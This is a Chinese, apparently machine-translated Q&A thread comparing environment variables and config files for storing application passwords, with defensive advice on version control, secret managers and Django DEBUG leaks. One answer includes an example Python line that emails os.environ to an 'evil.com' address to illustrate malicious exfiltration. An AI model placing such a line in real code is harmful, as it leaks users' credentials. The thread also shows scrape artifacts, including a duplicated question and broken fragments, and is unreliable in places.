我在 Rails、django(和一点点 php)中开发了一些应用程序,我开始在其中一些应用程序中做的一件事是将数据库和其他密码存储为环境变量,而不是某些配置文件中的纯文本(或在 settings.py 中,用于 django 应用程序)。
在与我的一位合作者讨论这个问题时,他认为这是一种糟糕的做法——也许这并不像最初看起来那样完全安全。
所以,我想知道 - 这是一种安全的做法吗?将密码作为纯文本存储在这些文件中是否更安全(当然,请确保不要将这些文件留在公共存储库或任何东西中)?
我在 Rails、django(和一点点 php)中开发了一些应用程序,我开始在其中一些应用程序中做的一件事是将数据库和其他密码存储为环境变量,而不是某些配置文件中的纯文本(或在 settings.py 中,用于 django 应用程序)。
在与我的一位合作者讨论这个问题时,他认为这是一种糟糕的做法——也许这并不像最初看起来那样完全安全。
所以,我想知道 - 这是一种安全的做法吗?将密码作为纯文本存储在这些文件中是否更安全(当然,请确保不要将这些文件留在公共存储库或任何东西中)?
如前所述,一旦您的系统受到威胁,这两种方法都不会提供任何额外的“安全”层。我相信支持环境变量的最强有力的原因之一是版本控制:我已经看到太多的数据库配置等意外存储在 GIT 等版本控制系统中,供其他开发人员查看(哎呀!它发生在我也是 ...)。
不将密码存储在文件中会使它们无法存储在版本控制系统中。
在更理论的层面上,我倾向于以以下方式考虑安全级别(按强度增加的顺序):
环境变量比明文文件更安全,因为它们是 volatile/disposable,不保存;即,如果您只设置了一个本地环境变量,例如“set pwd=whatever”,然后运行脚本,并在脚本结束时退出您的命令外壳程序,那么该变量将不再存在。你的案子属于前两个,我想说这是相当不安全的。如果您要这样做,我不建议在您的直接 Intranet/家庭网络之外进行部署,然后仅用于测试目的。
每当您必须存储密码时,它都是不安全的。时期。没有办法安全地存储未加密的密码。现在,哪个环境变量与配置文件更“安全”可能值得商榷。恕我直言,如果您的系统受到威胁,那么它的存储位置并不重要,勤奋的黑客可以追踪它。
抱歉,我没有足够的代表发表评论,但我还想补充一点,如果您不小心,您的 shell 也可能会在其命令历史记录中捕获该密码。因此,手动运行之类的东西$ pwd=mypassword my_prog
并不像您希望的那样短暂。
我认为,如果可能,您应该将凭据存储在 gitignored 文件中,而不是作为环境变量。
在 ENV(环境)变量和文件中存储凭据时要考虑的一件事是,您使用的任何库或依赖项都可以很容易地检查 ENV 变量。
这可以恶意或不恶意地完成。例如,库作者可以通过电子邮件将堆栈跟踪和 ENV 变量发送给他们自己进行调试(不是最佳实践,但可以这样做)。
如果您的凭据在文件中,那么进入它们的峰值要困难得多。
具体来说,考虑 node.js 中的 npm。让 npm 查看您的凭据(如果它们在 ENV 中)只是简单的process.ENV
. 另一方面,如果它们在文件中,则工作量要大得多。
您的凭据文件是否受版本控制是一个单独的问题。不是版本控制您的凭据文件会将其暴露给更少的人。所有开发人员都不需要知道生产凭证。由于这符合最小特权原则,我建议 git 忽略您的凭据文件。
这取决于您的威胁模型。
您是否试图阻止您的用户在他们的文件系统中散布密码,这些密码可能会被遗忘和处理不当?如果是这样,那么是的,因为环境变量不如文件持久。
您是否正在尝试防范直接针对您的程序的恶意软件?如果是这样,那么不,因为环境变量没有文件所具有的相同级别的访问控制。
就个人而言,我认为疏忽的用户比有动机的对手更常见,所以我会采用环境变量方法。
其中,使用环境变量存储机密的一个问题是它们可能会被无意泄露:
Logstash
)存储在配置文件中的秘密的潜在问题:
与您存储机密的方式无关,如果您的系统受到威胁,您就完蛋了。提取这些只是时间和精力的问题。
那么我们可以做些什么来将风险降到最低呢?
不要以纯文本形式存储/传递秘密。解决该问题的一种方法是使用外部(托管或自托管)机密存储解决方案(例如 AWS Parameter Store、Azure Vault、Hashicorp Vault)并在运行时获取敏感数据(可能缓存在内存中)。这样,您的秘密在传输和静止时都会被加密。
AFAICT,人们建议将机密存储在环境变量中的原因有两个:
这两个问题可以通过更好的方式解决。前者应该通过 git commit 钩子来解决,该钩子检查看起来像密码的东西(例如,gitleaks)。我希望 Linus 在 git 库的源代码中构建了这样一个工具,但是,唉,这并没有发生。(不用说,秘密文件应该总是添加到.gitignore
,但你需要一个钩子,以防有人忘记这样做。)
后者可以通过拥有一个全球公司机密文件来解决,该文件理想地存储在只读共享驱动器上。所以,在 Python 中,你可以有类似from company_secrets import *
.
更重要的是,正如其他人所指出的,破解存储在环境变量中的秘密太容易了。例如,在 Python 中,库作者可以插入send_email(address="evil.person@evil.com", text=json.dumps(os.environ))
,然后如果您执行此代码,您就大功告成了。如果您的系统上有一个名为~/secret_company_stuff/.my_very_secret_company_stuff
.
仅限 Django 用户:
如果出现异常(在 DEBUG 模式下),Django(在 DEBUG 模式下)会在浏览器中显示环境变量的原始值。例如,如果开发人员不小心将其DEBUG=True
投入生产,这似乎非常不安全。相比之下,Django 确实通过在框架文件的变量名中查找字符串、、、、或来混淆密码设置API
变量。TOKEN
KEY
SECRET
PASS
SIGNATURE
settings.py